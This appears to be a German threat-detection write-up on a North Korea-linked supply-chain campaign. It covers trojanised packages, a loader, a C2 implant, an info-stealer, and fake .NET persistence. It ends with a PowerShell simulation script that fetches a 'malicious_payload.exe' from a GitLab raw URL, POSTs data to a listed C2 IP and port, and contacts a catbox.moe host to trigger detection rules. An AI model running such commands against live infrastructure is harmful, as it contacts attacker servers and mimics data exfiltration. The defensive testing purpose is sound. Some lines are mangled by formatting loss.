DPRK PolinRider-Kampagne zeigt direkte Supply-Chain-Aktivitäten am Computer
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein mit Nordkorea verbundener Bedrohungsakteur führte einen Supply-Chain-Angriff gegen Entwicklerumgebungen durch, indem er Trojanisierte Python-Pakete einsetzte. Die Intrusionskette umfasste einen Node.js-Loader, ein JavaScript-C2-Implantat und einen Python-basierten Informationsdieb. Der Akteur stellte Persistenz her, indem er bösartige Komponenten als legitime Microsoft .NET-Optimierungsdienste tarnte.
Untersuchung
Die Untersuchung fand in einer hochpräzisen Täuschungsumgebung statt, in der eine täuschende Firmenarbeitsstation über 167 Stunden überwacht wurde. Analysten erfassten in Echtzeit die Aktivitäten, einschließlich der Ausführung schädlicher Nutzlasten und der Datenaufbereitung. Die gesammelten Telemetriedaten deckten die gesamte Angriffskette auf, vom anfänglichen Eindringen über ein bösartiges Repository bis hin zur Datenexfiltration vom Host.
Minderung
Organisationen sollten eine strenge Überprüfung der Abhängigkeiten in npm, PyPI und anderen Paketmanagern durchsetzen. Abgehende Verbindungen sollten HTTP-Verbindungen zu rohen öffentlichen IP-Adressen über nicht standardmäßige Ports blockieren. Verteidiger sollten auch ungewöhnliche Persistenzmechanismen überwachen, einschließlich geplanter Aufgaben oder Registrierungseinträge, die Microsoft .NET-Komponenten von Systemprofilpfaden imitieren.
Reaktion
Wenn bösartige Aktivitäten festgestellt werden, sollten Sicherheitsteams die betroffene Entwickler- oder Build-Umgebung sofort isolieren. Responder sollten nach bekannten C2-IP-Adressen und verdächtigen Dateimustern wie SvcHostUpdate.py. Eine forensische Überprüfung kürzlich installierter Drittanbieterabhängigkeiten sollte ebenfalls durchgeführt werden, zusammen mit einem Audit des Systemprofils auf unautorisierte MicrosoftCLROptimization Artefakte.
Angriffsmuster
Wir aktualisieren diesen Teil noch.
Simulation-Ausführung
-
Angriffsnarrative & Kommandos: Der Gegner zielt darauf ab, die Infektion voranzutreiben, indem er eine Zweitstufen-Nutzlast abruft und gestohlene Konfigurationsdaten exfiltriert. Um PolinRider zu imitieren, wird der Angreifer:
- Use
curlorInvoke-WebRequest, um eine Dummy-Datei von einer „rohen“ GitLab-URL abzurufen. - Führen Sie eine POST-Anfrage an die identifizierte C2-IP (
150.251.113.223:8443) durch, während eine User-Agent gefälscht wird, die dem Musterrotating.*agententspricht. - Verbindung zu
dns.catbox.moe, um ein sekundäres C2-Heartbeat oder die Nutzlastzustellung zu simulieren. Diese Aktionen sollen die drei unterschiedlichen Auswahlkriterien in der Sigma-Regel auslösen.
- Use
-
Regressionstest-Skript:
# PolinRider Simulation Script Write-Host "[!] Starten der PolinRider-Netzwerksimulation..." -ForegroundColor Cyan # 1. Auslöser Auswahl 2: Abrufen von GitLab Raw Write-Host "[*] Auslösung Auswahl 2: GitLab Raw Abruf..." Invoke-WebRequest -Uri "https://gitlab.com/api/v4/raw/malicious_payload.exe" -Method Get -UserAgent "Mozilla/5.0" # 2. Auslöser Auswahl 1: POST zu C2 mit rotierendem User-Agent Write-Host "[*] Auslösung Auswahl 1: C2 POST mit rotierendem User-Agent..." $c2Url = "http://150.251.113.223:8443/upload" $fakeUA = "Mozilla/5.0 rotating-agent-v1.2" Invoke-WebRequest -Uri $c2Url -Method POST -UserAgent $fakeUA -Body "dummy_data" # 3. Auslöser Auswahl 3: DNS/URL-Muster für catbox.moe Write-Host "[*] Auslösung Auswahl 3: Catbox.moe Verbindung..." Invoke-WebRequest -Uri "https://dns.catbox.moe/check" -Method Get -UserAgent "Mozilla/5.0" Write-Host "[+] Simulation abgeschlossen. Überprüfen Sie SIEM auf Alarme." -ForegroundColor Green -
Bereinigungskommandos:
# Keine persistente Änderungen am System vorgenommen; # Netzwerkverbindungen sind flüchtig. # Es wurden keine Dateien auf die Festplatte geschrieben in dieser Simulation. Write-Host "[*] Bereinigung: Keine Dateien oder Registrierungsschlüssel wurden modifiziert. Simulation ist sauber." -ForegroundColor Cyan